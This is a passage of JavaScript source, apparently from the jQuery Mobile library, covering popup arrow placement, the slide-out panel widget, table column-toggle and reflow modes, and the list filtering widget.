_tryAnArrow: function( p, dir, desired, s, best ) { var result, r, diff, desiredForArrow = {}, tip = {}; // If the arrow has no wiggle room along the edge of the popup, it cannot // be displayed along the requested edge without it sticking out. if ( s.arFull[ p.dimKey ] > s.guideDims[ p.dimKey ] ) { return best; } desiredForArrow[ p.fst ] = desired[ p.fst ] + ( s.arHalf[ p.oDimKey ] + s.menuHalf[ p.oDimKey ] ) * p.offsetFactor - s.contentBox[ p.fst ] + ( s.clampInfo.menuSize[ p.oDimKey ] - s.contentBox[ p.oDimKey ] ) * p.arrowOffsetFactor; desiredForArrow[ p.snd ] = desired[ p.snd ]; result = s.result || this._calculateFinalLocation( desiredForArrow, s.clampInfo ); r = { x: result.left, y: result.top }; tip[ p.fst ] = r[ p.fst ] + s.contentBox[ p.fst ] + p.tipOffset; tip[ p.snd ] = Math.max( result[ p.prop ] + s.guideOffset[ p.prop ] + s.arHalf[ p.dimKey ], Math.min( result[ p.prop ] + s.guideOffset[ p.prop ] + s.guideDims[ p.dimKey ] - s.arHalf[ p.dimKey ], desired[ p.snd ] ) ); diff = Math.abs( desired.x - tip.x ) + Math.abs( desired.y - tip.y ); if ( !best || diff < best.diff ) { // Convert tip offset to coordinates inside the popup tip[ p.snd ] -= s.arHalf[ p.dimKey ] + result[ p.prop ] + s.contentBox[ p.snd ]; best = { dir: dir, diff: diff, result: result, posProp: p.prop, posVal: tip[ p.snd ] }; } return best; }, _getPlacementState: function( clamp ) { var offset, gdOffset, ar = this._ui.arrow, state = { clampInfo: this._clampPopupWidth( !clamp ), arFull: { cx: ar.ct.width(), cy: ar.ct.height() }, guideDims: { cx: ar.gd.width(), cy: ar.gd.height() }, guideOffset: ar.gd.offset() }; offset = this.element.offset(); ar.gd.css( { left: 0, top: 0, right: 0, bottom: 0 } ); gdOffset = ar.gd.offset(); state.contentBox = { x: gdOffset.left - offset.left, y: gdOffset.top - offset.top, cx: ar.gd.width(), cy: ar.gd.height() }; ar.gd.removeAttr( "style" ); // The arrow box moves between guideOffset and guideOffset + guideDims - arFull state.guideOffset = { left: state.guideOffset.left - offset.left, top: state.guideOffset.top - offset.top }; state.arHalf = { cx: state.arFull.cx / 2, cy: state.arFull.cy / 2 }; state.menuHalf = { cx: state.clampInfo.menuSize.cx / 2, cy: state.clampInfo.menuSize.cy / 2 }; return state; }, _placementCoords: function( desired ) { var state, best, params, elOffset, bgRef, optionValue = this.options.arrow, ar = this._ui.arrow; if ( !ar ) { return this._super( desired ); } ar.arEls.show(); bgRef = {}; state = this._getPlacementState( true ); params = { "l": { fst: "x", snd: "y", prop: "top", dimKey: "cy", oDimKey: "cx", offsetFactor: 1, tipOffset: -state.arHalf.cx, arrowOffsetFactor: 0 }, "r": { fst: "x", snd: "y", prop: "top", dimKey: "cy", oDimKey: "cx", offsetFactor: -1, tipOffset: state.arHalf.cx + state.contentBox.cx, arrowOffsetFactor: 1 }, "b": { fst: "y", snd: "x", prop: "left", dimKey: "cx", oDimKey: "cy", offsetFactor: -1, tipOffset: state.arHalf.cy + state.contentBox.cy, arrowOffsetFactor: 1 }, "t": { fst: "y", snd: "x", prop: "left", dimKey: "cx", oDimKey: "cy", offsetFactor: 1, tipOffset: -state.arHalf.cy, arrowOffsetFactor: 0 } }; // Try each side specified in the options to see on which one the arrow // should be placed such that the distance between the tip of the arrow and // the desired coordinates is the shortest. $.each( ( optionValue === true ? "l,t,r,b" : optionValue ).split( "," ), $.proxy( function( key, value ) { best = this._tryAnArrow( params[ value ], value, desired, state, best ); }, this ) ); // Could not place the arrow along any of the edges - behave as if showing // the arrow was turned off. if ( !best ) { ar.arEls.hide(); return this._super( desired ); } // Move the arrow into place ar.ct .removeClass( "ui-popup-arrow-l ui-popup-arrow-t ui-popup-arrow-r ui-popup-arrow-b" ) .addClass( "ui-popup-arrow-" + best.dir ) .removeAttr( "style" ).css( best.posProp, best.posVal ) .show(); // Do not move/size the background div on IE, because we use the arrow div for background as well. if ( !ieHack ) { elOffset = this.element.offset(); bgRef[ params[ best.dir ].fst ] = ar.ct.offset(); bgRef[ params[ best.dir ].snd ] = { left: elOffset.left + state.contentBox.x, top: elOffset.top + state.contentBox.y }; } return best.result; }, _setOptions: function( opts ) { var newTheme, oldTheme = this.options.theme, ar = this._ui.arrow, ret = this._super( opts ); if ( opts.arrow !== undefined ) { if ( !ar && opts.arrow ) { this._ui.arrow = this._addArrow(); // Important to return here so we don't set the same options all over // again below. return; } else if ( ar && !opts.arrow ) { ar.arEls.remove(); this._ui.arrow = null; } } // Reassign with potentially new arrow ar = this._ui.arrow; if ( ar ) { if ( opts.theme !== undefined ) { oldTheme = this._themeClassFromOption( "ui-body-", oldTheme ); newTheme = this._themeClassFromOption( "ui-body-", opts.theme ); ar.ar.removeClass( oldTheme ).addClass( newTheme ); } if ( opts.shadow !== undefined ) { ar.ar.toggleClass( "ui-overlay-shadow", opts.shadow ); } } return ret; }, _destroy: function() { var ar = this._ui.arrow; if ( ar ) { ar.arEls.remove(); } return this._super(); } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.panel", { options: { classes: { panel: "ui-panel", panelOpen: "ui-panel-open", panelClosed: "ui-panel-closed", panelFixed: "ui-panel-fixed", panelInner: "ui-panel-inner", modal: "ui-panel-dismiss", modalOpen: "ui-panel-dismiss-open", pageContainer: "ui-panel-page-container", pageWrapper: "ui-panel-wrapper", pageFixedToolbar: "ui-panel-fixed-toolbar", pageContentPrefix: "ui-panel-page-content", /* Used for wrapper and fixed toolbars position, display and open classes. */ animate: "ui-panel-animate" }, animate: true, theme: null, position: "left", dismissible: true, display: "reveal", //accepts reveal, push, overlay swipeClose: true, positionFixed: false }, _closeLink: null, _parentPage: null, _page: null, _modal: null, _panelInner: null, _wrapper: null, _fixedToolbars: null, _create: function() { var el = this.element, parentPage = el.closest( ".ui-page, :jqmData(role='page')" ); // expose some private props to other methods $.extend( this, { _closeLink: el.find( ":jqmData(rel='close')" ), _parentPage: ( parentPage.length > 0 ) ? parentPage : false, _openedPage: null, _page: this._getPage, _panelInner: this._getPanelInner(), _fixedToolbars: this._getFixedToolbars }); if ( this.options.display !== "overlay" ){ this._getWrapper(); } this._addPanelClasses(); // if animating, add the class to do so if ( $.support.cssTransform3d && !!this.options.animate ) { this.element.addClass( this.options.classes.animate ); } this._bindUpdateLayout(); this._bindCloseEvents(); this._bindLinkListeners(); this._bindPageEvents(); if ( !!this.options.dismissible ) { this._createModal(); } this._bindSwipeEvents(); }, _getPanelInner: function() { var panelInner = this.element.find( "." + this.options.classes.panelInner ); if ( panelInner.length === 0 ) { panelInner = this.element.children().wrapAll( "<div class='" + this.options.classes.panelInner + "' />" ).parent(); } return panelInner; }, _createModal: function() { var self = this, target = self._parentPage ? self._parentPage.parent() : self.element.parent(); self._modal = $( "<div class='" + self.options.classes.modal + "'></div>" ) .on( "mousedown", function() { self.close(); }) .appendTo( target ); }, _getPage: function() { var page = this._openedPage || this._parentPage || $( "." + $.mobile.activePageClass ); return page; }, _getWrapper: function() { var wrapper = this._page().find( "." + this.options.classes.pageWrapper ); if ( wrapper.length === 0 ) { wrapper = this._page().children( ".ui-header:not(.ui-header-fixed), .ui-content:not(.ui-popup), .ui-footer:not(.ui-footer-fixed)" ) .wrapAll( "<div class='" + this.options.classes.pageWrapper + "'></div>" ) .parent(); } this._wrapper = wrapper; }, _getFixedToolbars: function() { var extFixedToolbars = $( "body" ).children( ".ui-header-fixed, .ui-footer-fixed" ), intFixedToolbars = this._page().find( ".ui-header-fixed, .ui-footer-fixed" ), fixedToolbars = extFixedToolbars.add( intFixedToolbars ).addClass( this.options.classes.pageFixedToolbar ); return fixedToolbars; }, _getPosDisplayClasses: function( prefix ) { return prefix + "-position-" + this.options.position + " " + prefix + "-display-" + this.options.display; }, _getPanelClasses: function() { var panelClasses = this.options.classes.panel + " " + this._getPosDisplayClasses( this.options.classes.panel ) + " " + this.options.classes.panelClosed + " " + "ui-body-" + ( this.options.theme ? this.options.theme : "inherit" ); if ( !!this.options.positionFixed ) { panelClasses += " " + this.options.classes.panelFixed; } return panelClasses; }, _addPanelClasses: function() { this.element.addClass( this._getPanelClasses() ); }, _handleCloseClick: function( event ) { if ( !event.isDefaultPrevented() ) { this.close(); } }, _bindCloseEvents: function() { this._on( this._closeLink, { "click": "_handleCloseClick" }); this._on({ "click a:jqmData(ajax='false')": "_handleCloseClick" }); }, _positionPanel: function( scrollToTop ) { var self = this, panelInnerHeight = self._panelInner.outerHeight(), expand = panelInnerHeight > $.mobile.getScreenHeight(); if ( expand || !self.options.positionFixed ) { if ( expand ) { self._unfixPanel(); $.mobile.resetActivePageHeight( panelInnerHeight ); } if ( scrollToTop ) { this.window[ 0 ].scrollTo( 0, $.mobile.defaultHomeScroll ); } } else { self._fixPanel(); } }, _bindFixListener: function() { this._on( $( window ), { "throttledresize": "_positionPanel" }); }, _unbindFixListener: function() { this._off( $( window ), "throttledresize" ); }, _unfixPanel: function() { if ( !!this.options.positionFixed && $.support.fixedPosition ) { this.element.removeClass( this.options.classes.panelFixed ); } }, _fixPanel: function() { if ( !!this.options.positionFixed && $.support.fixedPosition ) { this.element.addClass( this.options.classes.panelFixed ); } }, _bindUpdateLayout: function() { var self = this; self.element.on( "updatelayout", function(/* e */) { if ( self._open ) { self._positionPanel(); } }); }, _bindLinkListeners: function() { this._on( "body", { "click a": "_handleClick" }); }, _handleClick: function( e ) { var link, panelId = this.element.attr( "id" ); if ( e.currentTarget.href.split( "#" )[ 1 ] === panelId && panelId !== undefined ) { e.preventDefault(); link = $( e.target ); if ( link.hasClass( "ui-btn" ) ) { link.addClass( $.mobile.activeBtnClass ); this.element.one( "panelopen panelclose", function() { link.removeClass( $.mobile.activeBtnClass ); }); } this.toggle(); } }, _bindSwipeEvents: function() { var self = this, area = self._modal ? self.element.add( self._modal ) : self.element; // on swipe, close the panel if ( !!self.options.swipeClose ) { if ( self.options.position === "left" ) { area.on( "swipeleft.panel", function(/* e */) { self.close(); }); } else { area.on( "swiperight.panel", function(/* e */) { self.close(); }); } } }, _bindPageEvents: function() { var self = this; this.document // Close the panel if another panel on the page opens .on( "panelbeforeopen", function( e ) { if ( self._open && e.target !== self.element[ 0 ] ) { self.close(); } }) // On escape, close? might need to have a target check too... .on( "keyup.panel", function( e ) { if ( e.keyCode === 27 && self._open ) { self.close(); } }); if ( !this._parentPage && this.options.display !== "overlay" ) { this._on( this.document, { "pageshow": function() { this._openedPage = null; this._getWrapper(); } }); } // Clean up open panels after page hide if ( self._parentPage ) { this.document.on( "pagehide", ":jqmData(role='page')", function() { if ( self._open ) { self.close( true ); } }); } else { this.document.on( "pagebeforehide", function() { if ( self._open ) { self.close( true ); } }); } }, // state storage of open or closed _open: false, _pageContentOpenClasses: null, _modalOpenClasses: null, open: function( immediate ) { if ( !this._open ) { var self = this, o = self.options, _openPanel = function() { self._off( self.document , "panelclose" ); self._page().jqmData( "panel", "open" ); if ( $.support.cssTransform3d && !!o.animate && o.display !== "overlay" ) { self._wrapper.addClass( o.classes.animate ); self._fixedToolbars().addClass( o.classes.animate ); } if ( !immediate && $.support.cssTransform3d && !!o.animate ) { ( self._wrapper || self.element ) .animationComplete( complete, "transition" ); } else { setTimeout( complete, 0 ); } if ( o.theme && o.display !== "overlay" ) { self._page().parent() .addClass( o.classes.pageContainer + "-themed " + o.classes.pageContainer + "-" + o.theme ); } self.element .removeClass( o.classes.panelClosed ) .addClass( o.classes.panelOpen ); self._positionPanel( true ); self._pageContentOpenClasses = self._getPosDisplayClasses( o.classes.pageContentPrefix ); if ( o.display !== "overlay" ) { self._page().parent().addClass( o.classes.pageContainer ); self._wrapper.addClass( self._pageContentOpenClasses ); self._fixedToolbars().addClass( self._pageContentOpenClasses ); } self._modalOpenClasses = self._getPosDisplayClasses( o.classes.modal ) + " " + o.classes.modalOpen; if ( self._modal ) { self._modal .addClass( self._modalOpenClasses ) .height( Math.max( self._modal.height(), self.document.height() ) ); } }, complete = function() { // Bail if the panel was closed before the opening animation has completed if ( !self._open ) { return; } if ( o.display !== "overlay" ) { self._wrapper.addClass( o.classes.pageContentPrefix + "-open" ); self._fixedToolbars().addClass( o.classes.pageContentPrefix + "-open" ); } self._bindFixListener(); self._trigger( "open" ); self._openedPage = self._page(); }; self._trigger( "beforeopen" ); if ( self._page().jqmData( "panel" ) === "open" ) { self._on( self.document, { "panelclose": _openPanel }); } else { _openPanel(); } self._open = true; } }, close: function( immediate ) { if ( this._open ) { var self = this, o = this.options, _closePanel = function() { self.element.removeClass( o.classes.panelOpen ); if ( o.display !== "overlay" ) { self._wrapper.removeClass( self._pageContentOpenClasses ); self._fixedToolbars().removeClass( self._pageContentOpenClasses ); } if ( !immediate && $.support.cssTransform3d && !!o.animate ) { ( self._wrapper || self.element ) .animationComplete( complete, "transition" ); } else { setTimeout( complete, 0 ); } if ( self._modal ) { self._modal .removeClass( self._modalOpenClasses ) .height( "" ); } }, complete = function() { if ( o.theme && o.display !== "overlay" ) { self._page().parent().removeClass( o.classes.pageContainer + "-themed " + o.classes.pageContainer + "-" + o.theme ); } self.element.addClass( o.classes.panelClosed ); if ( o.display !== "overlay" ) { self._page().parent().removeClass( o.classes.pageContainer ); self._wrapper.removeClass( o.classes.pageContentPrefix + "-open" ); self._fixedToolbars().removeClass( o.classes.pageContentPrefix + "-open" ); } if ( $.support.cssTransform3d && !!o.animate && o.display !== "overlay" ) { self._wrapper.removeClass( o.classes.animate ); self._fixedToolbars().removeClass( o.classes.animate ); } self._fixPanel(); self._unbindFixListener(); $.mobile.resetActivePageHeight(); self._page().jqmRemoveData( "panel" ); self._trigger( "close" ); self._openedPage = null; }; self._trigger( "beforeclose" ); _closePanel(); self._open = false; } }, toggle: function() { this[ this._open ? "close" : "open" ](); }, _destroy: function() { var otherPanels, o = this.options, multiplePanels = ( $( "body > :mobile-panel" ).length + $.mobile.activePage.find( ":mobile-panel" ).length ) > 1; if ( o.display !== "overlay" ) { // remove the wrapper if not in use by another panel otherPanels = $( "body > :mobile-panel" ).add( $.mobile.activePage.find( ":mobile-panel" ) ); if ( otherPanels.not( ".ui-panel-display-overlay" ).not( this.element ).length === 0 ) { this._wrapper.children().unwrap(); } if ( this._open ) { this._fixedToolbars().removeClass( o.classes.pageContentPrefix + "-open" ); if ( $.support.cssTransform3d && !!o.animate ) { this._fixedToolbars().removeClass( o.classes.animate ); } this._page().parent().removeClass( o.classes.pageContainer ); if ( o.theme ) { this._page().parent().removeClass( o.classes.pageContainer + "-themed " + o.classes.pageContainer + "-" + o.theme ); } } } if ( !multiplePanels ) { this.document.off( "panelopen panelclose" ); } if ( this._open ) { this._page().jqmRemoveData( "panel" ); } this._panelInner.children().unwrap(); this.element .removeClass( [ this._getPanelClasses(), o.classes.panelOpen, o.classes.animate ].join( " " ) ) .off( "swipeleft.panel swiperight.panel" ) .off( "panelbeforeopen" ) .off( "panelhide" ) .off( "keyup.panel" ) .off( "updatelayout" ); if ( this._modal ) { this._modal.remove(); } } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.table", { options: { classes: { table: "ui-table" }, enhanced: false }, _create: function() { if ( !this.options.enhanced ) { this.element.addClass( this.options.classes.table ); } // extend here, assign on refresh > _setHeaders $.extend( this, { // Expose headers and allHeaders properties on the widget // headers references the THs within the first TR in the table headers: undefined, // allHeaders references headers, plus all THs in the thead, which may // include several rows, or not allHeaders: undefined }); this._refresh( true ); }, _setHeaders: function() { var trs = this.element.find( "thead tr" ); this.headers = this.element.find( "tr:eq(0)" ).children(); this.allHeaders = this.headers.add( trs.children() ); }, refresh: function() { this._refresh(); }, rebuild: $.noop, _refresh: function( /* create */ ) { var table = this.element, trs = table.find( "thead tr" ); // updating headers on refresh (fixes #5880) this._setHeaders(); // Iterate over the trs trs.each( function() { var columnCount = 0; // Iterate over the children of the tr $( this ).children().each( function() { var span = parseInt( this.getAttribute( "colspan" ), 10 ), selector = ":nth-child(" + ( columnCount + 1 ) + ")", j; this.setAttribute( "data-" + $.mobile.ns + "colstart", columnCount + 1 ); if ( span ) { for( j = 0; j < span - 1; j++ ) { columnCount++; selector += ", :nth-child(" + ( columnCount + 1 ) + ")"; } } // Store "cells" data on header as a reference to all cells in the // same column as this TH $( this ).jqmData( "cells", table.find( "tr" ).not( trs.eq( 0 ) ).not( this ).children( selector ) ); columnCount++; }); }); } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.table", $.mobile.table, { options: { mode: "columntoggle", columnBtnTheme: null, columnPopupTheme: null, columnBtnText: "Columns...", classes: $.extend( $.mobile.table.prototype.options.classes, { popup: "ui-table-columntoggle-popup", columnBtn: "ui-table-columntoggle-btn", priorityPrefix: "ui-table-priority-", columnToggleTable: "ui-table-columntoggle" }) }, _create: function() { this._super(); if ( this.options.mode !== "columntoggle" ) { return; } $.extend( this, { _menu: null }); if ( this.options.enhanced ) { this._menu = $( this.document[ 0 ].getElementById( this._id() + "-popup" ) ).children().first(); this._addToggles( this._menu, true ); } else { this._menu = this._enhanceColToggle(); this.element.addClass( this.options.classes.columnToggleTable ); } this._setupEvents(); this._setToggleState(); }, _id: function() { return ( this.element.attr( "id" ) || ( this.widgetName + this.uuid ) ); }, _setupEvents: function() { //NOTE: inputs are bound in bindToggles, // so it can be called on refresh, too // update column toggles on resize this._on( this.window, { throttledresize: "_setToggleState" }); this._on( this._menu, { "change input": "_menuInputChange" }); }, _addToggles: function( menu, keep ) { var inputs, checkboxIndex = 0, opts = this.options, container = menu.controlgroup( "container" ); // allow update of menu on refresh (fixes #5880) if ( keep ) { inputs = menu.find( "input" ); } else { container.empty(); } // create the hide/show toggles this.headers.not( "td" ).each( function() { var input, cells, header = $( this ), priority = $.mobile.getAttribute( this, "priority" ); if ( priority ) { cells = header.add( header.jqmData( "cells" ) ); cells.addClass( opts.classes.priorityPrefix + priority ); // Make sure the (new?) checkbox is associated with its header via .jqmData() and // that, vice versa, the header is also associated with the checkbox input = ( keep ? inputs.eq( checkboxIndex++ ) : $("<label><input type='checkbox' checked />" + ( header.children( "abbr" ).first().attr( "title" ) || header.text() ) + "</label>" ) .appendTo( container ) .children( 0 ) .checkboxradio( { theme: opts.columnPopupTheme }) ) // Associate the header with the checkbox .jqmData( "header", header ) .jqmData( "cells", cells ); // Associate the checkbox with the header header.jqmData( "input", input ); } }); // set bindings here if ( !keep ) { menu.controlgroup( "refresh" ); } }, _menuInputChange: function( evt ) { var input = $( evt.target ), checked = input[ 0 ].checked; input.jqmData( "cells" ) .toggleClass( "ui-table-cell-hidden", !checked ) .toggleClass( "ui-table-cell-visible", checked ); }, _unlockCells: function( cells ) { // allow hide/show via CSS only = remove all toggle-locks cells.removeClass( "ui-table-cell-hidden ui-table-cell-visible"); }, _enhanceColToggle: function() { var id , menuButton, popup, menu, table = this.element, opts = this.options, ns = $.mobile.ns, fragment = this.document[ 0 ].createDocumentFragment(); id = this._id() + "-popup"; menuButton = $( "<a href='#" + id + "' " + "class='" + opts.classes.columnBtn + " ui-btn " + "ui-btn-" + ( opts.columnBtnTheme || "a" ) + " ui-corner-all ui-shadow ui-mini' " + "data-" + ns + "rel='popup'>" + opts.columnBtnText + "</a>" ); popup = $( "<div class='" + opts.classes.popup + "' id='" + id + "'></div>" ); menu = $( "<fieldset></fieldset>" ).controlgroup(); // set extension here, send "false" to trigger build/rebuild this._addToggles( menu, false ); menu.appendTo( popup ); fragment.appendChild( popup[ 0 ] ); fragment.appendChild( menuButton[ 0 ] ); table.before( fragment ); popup.popup(); return menu; }, rebuild: function() { this._super(); if ( this.options.mode === "columntoggle" ) { // NOTE: rebuild passes "false", while refresh passes "undefined" // both refresh the table, but inside addToggles, !false will be true, // so a rebuild call can be indentified this._refresh( false ); } }, _refresh: function( create ) { var headers, hiddenColumns, index; // Calling _super() here updates this.headers this._super( create ); if ( !create && this.options.mode === "columntoggle" ) { headers = this.headers; hiddenColumns = []; // Find the index of the column header associated with each old checkbox among the // post-refresh headers and, if the header is still there, make sure the corresponding // column will be hidden if the pre-refresh checkbox indicates that the column is // hidden by recording its index in the array of hidden columns. this._menu.find( "input" ).each( function() { var input = $( this ), header = input.jqmData( "header" ), index = headers.index( header[ 0 ] ); if ( index > -1 && !input.prop( "checked" ) ) { // The column header associated with /this/ checkbox is still present in the // post-refresh table and the checkbox is not checked, so the column associated // with this column header is currently hidden. Let's record that. hiddenColumns.push( index ); } }); // columns not being replaced must be cleared from input toggle-locks this._unlockCells( this.element.find( ".ui-table-cell-hidden, " + ".ui-table-cell-visible" ) ); // update columntoggles and cells this._addToggles( this._menu, create ); // At this point all columns are visible, so uncheck the checkboxes that correspond to // those columns we've found to be hidden for ( index = hiddenColumns.length - 1 ; index > -1 ; index-- ) { headers.eq( hiddenColumns[ index ] ).jqmData( "input" ) .prop( "checked", false ) .checkboxradio( "refresh" ) .trigger( "change" ); } } }, _setToggleState: function() { this._menu.find( "input" ).each( function() { var checkbox = $( this ); this.checked = checkbox.jqmData( "cells" ).eq( 0 ).css( "display" ) === "table-cell"; checkbox.checkboxradio( "refresh" ); }); }, _destroy: function() { this._super(); } }); })( jQuery ); (function( $, undefined ) { $.widget( "mobile.table", $.mobile.table, { options: { mode: "reflow", classes: $.extend( $.mobile.table.prototype.options.classes, { reflowTable: "ui-table-reflow", cellLabels: "ui-table-cell-label" }) }, _create: function() { this._super(); // If it's not reflow mode, return here. if ( this.options.mode !== "reflow" ) { return; } if ( !this.options.enhanced ) { this.element.addClass( this.options.classes.reflowTable ); this._updateReflow(); } }, rebuild: function() { this._super(); if ( this.options.mode === "reflow" ) { this._refresh( false ); } }, _refresh: function( create ) { this._super( create ); if ( !create && this.options.mode === "reflow" ) { this._updateReflow( ); } }, _updateReflow: function() { var table = this, opts = this.options; // get headers in reverse order so that top-level headers are appended last $( table.allHeaders.get().reverse() ).each( function() { var cells = $( this ).jqmData( "cells" ), colstart = $.mobile.getAttribute( this, "colstart" ), hierarchyClass = cells.not( this ).filter( "thead th" ).length && " ui-table-cell-label-top", contents = $( this ).clone().contents(), iteration, filter; if ( contents.length > 0 ) { if ( hierarchyClass ) { iteration = parseInt( this.getAttribute( "colspan" ), 10 ); filter = ""; if ( iteration ) { filter = "td:nth-child("+ iteration +"n + " + ( colstart ) +")"; } table._addLabels( cells.filter( filter ), opts.classes.cellLabels + hierarchyClass, contents ); } else { table._addLabels( cells, opts.classes.cellLabels, contents ); } } }); }, _addLabels: function( cells, label, contents ) { if ( contents.length === 1 && contents[ 0 ].nodeName.toLowerCase() === "abbr" ) { contents = contents.eq( 0 ).attr( "title" ); } // .not fixes #6006 cells .not( ":has(b." + label + ")" ) .prepend( $( "<b class='" + label + "'></b>" ).append( contents ) ); } }); })( jQuery ); (function( $, undefined ) { // TODO rename filterCallback/deprecate and default to the item itself as the first argument var defaultFilterCallback = function( index, searchValue ) { return ( ( "" + ( $.mobile.getAttribute( this, "filtertext" ) || $( this ).text() ) ) .toLowerCase().indexOf( searchValue ) === -1 ); }; $.widget( "mobile.filterable", { initSelector: ":jqmData(filter='true')", options: { filterReveal: false, filterCallback: defaultFilterCallback, enhanced: false, input: null, children: "> li, > option, > optgroup option, > tbody tr, > .ui-controlgroup-controls > .ui-btn, > .ui-controlgroup-controls > .ui-checkbox, > .ui-controlgroup-controls > .ui-radio" }, _create: function() { var opts = this.options; $.extend( this, { _search: null, _timer: 0 }); this._setInput( opts.input ); if ( !opts.enhanced ) { this._filterItems( ( ( this._search && this._search.val() ) || "" ).toLowerCase() ); } }, _onKeyUp: function() { var val, lastval, search = this._search; if ( search ) { val = search.val().toLowerCase(), lastval = $.mobile.getAttribute( search[ 0 ], "lastval" ) + ""; if ( lastval && lastval === val ) { // Execute the handler only once per value change return; } if ( this._timer ) { window.clearTimeout( this._timer ); this._timer = 0; } this._timer = this._delay( function() { if ( this._trigger( "beforefilter", null, { input: search } ) === false ) { return false; } // Change val as lastval for next execution search[ 0 ].setAttribute( "data-" + $.mobile.ns + "lastval", val ); this._filterItems( val ); this._timer = 0; }, 250 ); } }, _getFilterableItems: function() { var elem = this.element, children = this.options.children, items = !children ? { length: 0 }: $.isFunction( children ) ? children(): children.nodeName ? $( children ): children.jquery ? children: this.element.find( children ); if ( items.length === 0 ) { items = elem.children(); } return items; }, _filterItems: function( val ) { var idx, callback, length, dst, show = [], hide = [], opts = this.options, filterItems = this._getFilterableItems(); if ( val != null ) { callback = opts.filterCallback || defaultFilterCallback; length = filterItems.length; // Partition the items into those to be hidden and those to be shown for ( idx = 0 ; idx < length ; idx++ ) { dst = ( callback.call( filterItems[ idx ], idx, val ) ) ? hide : show; dst.push( filterItems[ idx ] ); } } // If nothing is hidden, then the decision whether to hide or show the items // is based on the "filterReveal" option. if ( hide.length === 0 ) { filterItems[ ( opts.filterReveal && val.length === 0 ) ? "addClass" : "removeClass" ]( "ui-screen-hidden" ); } else { $( hide ).addClass( "ui-screen-hidden" ); $( show ).removeClass( "ui-screen-hidden" ); } this._refreshChildWidget(); this._trigger( "filter", null, { items: filterItems }); }, // The Default implementation of _refreshChildWidget attempts to call // refresh on collapsibleset, controlgroup, selectmenu, or listview _refreshChildWidget: function() { var widget, idx, recognizedWidgets = [ "collapsibleset", "selectmenu", "controlgroup", "listview" ]; for ( idx = recognizedWidgets.length - 1 ; idx > -1 ; idx-- ) { widget = recognizedWidgets[ idx ]; if ( $.mobile[ widget ] ) { widget = this.element.data( "mobile-" + widget ); if ( widget && $.isFunction( widget.refresh ) ) { widget.refresh(); } } } }, // TODO: When the input is not internal, do not even store it in this._search _setInput: function ( selector ) { var search = this._search; // Stop a pending filter operation if ( this._timer ) { window.clearTimeout( this._timer ); this._timer = 0; } if ( search ) { this._off( search, "keyup change input" ); search = null; } if ( selector ) { search = selector.jquery ? selector: selector.nodeName ? $( selector ): this.document.find( selector ); this._on( search, { keydown: "_onKeyDown", keypress: "_onKeyPress", keyup: "_onKeyUp", change: "_onKeyUp", input: "_onKeyUp" }); } this._search = search; }, // Prevent form submission _onKeyDown: function( event ) { if ( event.keyCode === $.ui.keyCode.ENTER ) { event.preventDefault(); this._preventKeyPress = true; } }, _onKeyPress: function( event ) { if ( this._preventKeyPress ) { event.preventDefault(); this._preventKeyPress = false; } }, _setOptions: function( options ) { var refilter = !( ( options.filterReveal === undefined ) && ( options.filterCallback === undefined ) && ( options.children === undefined ) ); this._super( options ); if ( options.input !== undefined ) { this._setInput( options.input ); refilter = true; } if ( refilter ) { this.refresh(); } }, _destroy: function() { var opts = this.options, items = this._getFilterableItems(); if ( opts.enhanced ) { items.toggleClass( "ui-screen-hidden", opts.filterReveal ); } else { items.removeClass( "ui-screen-hidden" ); } }, refresh: function() { if ( this._timer ) { window.clearTimeout( this._timer ); this._timer = 0; } this._filterItems( ( ( this._search && this._search.val() ) || "" ).toLowerCase() ); } }); })( jQuery ); (function( $, undefined ) { // Create a function that will replace the _setOptions function of a widget, // and will pass the options on to the input of the filterable. var replaceSetOptions = function( self, orig ) { return function( options ) { orig.call( this, options ); self._syncTextInputOptions( options ); }; }, rDividerListItem = /(^|\s)ui-li-divider(\s|$)/, origDefaultFilterCallback = $.mobile.filterable.prototype.options.filterCallback; // Override the default filter callback with one that does not hide list dividers $.mobile.filterable.prototype.options.filterCallback = function( index, searchValue ) { return !this.className.match( rDividerListItem ) && origDefaultFilterCallback.call( this, index, searchValue ); }; $.widget( "mobile.filterable", $.mobile.filterable, { options: { filterPlaceholder: "Filter items...", filterTheme: null }, _create: function() { var idx, widgetName, elem = this.element, recognizedWidgets = [ "collapsibleset", "selectmenu", "controlgroup", "listview" ], createHandlers = {}; this._super(); $.extend( this, { _widget: null }); for ( idx = recognizedWidgets.length - 1 ; idx > -1 ; idx-- ) { widgetName = recognizedWidgets[ idx ]; if ( $.mobile[ widgetName ] ) { if ( this._setWidget( elem.data( "mobile-" + widgetName ) ) ) { break; } else { createHandlers[ widgetName + "create" ] = "_handleCreate"; } } } if ( !this._widget ) { this._on( elem, createHandlers ); } }, _handleCreate: function( evt ) { this._setWidget( this.element.data( "mobile-" + evt.type.substring( 0, evt.type.length - 6 ) ) ); }, _trigger: function( type, event, data ) { if ( this._widget && this._widget.widgetFullName === "mobile-listview" && type === "beforefilter" ) { // Also trigger listviewbeforefilter if this widget is also a listview this._widget._trigger( "beforefilter", event, data ); } // Passing back the response enables calling preventDefault() return this._super( type, event, data ); }, _setWidget: function( widget ) { if ( !this._widget && widget ) { this._widget = widget; this._widget._setOptions = replaceSetOptions( this, this._widget._setOptions ); } if ( !!this._widget ) { this._syncTextInputOptions( this._widget.options ); if ( this._widget.widgetName === "listview" ) { this._widget.options.hideDividers = true; this._widget.element.listview( "refresh" ); } } return !!this._widget; }, _isSearchInternal: function() { return ( this._search && this._search.jqmData( "ui-filterable-" + this.uuid + "-internal" ) ); }, _setInput: function( selector ) { var opts = this.options, updatePlaceholder = true, textinputOpts = {}; if ( !selector ) { if ( this._isSearchInternal() ) { // Ignore the call to set a new input if the selector goes to falsy and // the current textinput is already of the internally generated variety. return; } else { // Generating a new textinput widget. No need to set the placeholder // further down the function. updatePlaceholder = false; selector = $( "<input " + "data-" + $.mobile.ns + "type='search' " + "placeholder='" + opts.filterPlaceholder + "'></input>" ) .jqmData( "ui-filterable-" + this.uuid + "-internal", true ); $( "<form class='ui-filterable'></form>" ) .append( selector ) .submit( function( evt ) { evt.preventDefault(); selector.blur(); }) .insertBefore( this.element ); if ( $.mobile.textinput ) { if ( this.options.filterTheme != null ) { textinputOpts[ "theme" ] = opts.filterTheme; } selector.textinput( textinputOpts ); } } } this._super( selector ); if ( this._isSearchInternal() && updatePlaceholder ) { this._search.attr( "placeholder", this.options.filterPlaceholder ); } }, _setOptions: function( options ) { var ret = this._super( options ); // Need to set the filterPlaceholder after having established the search input if ( 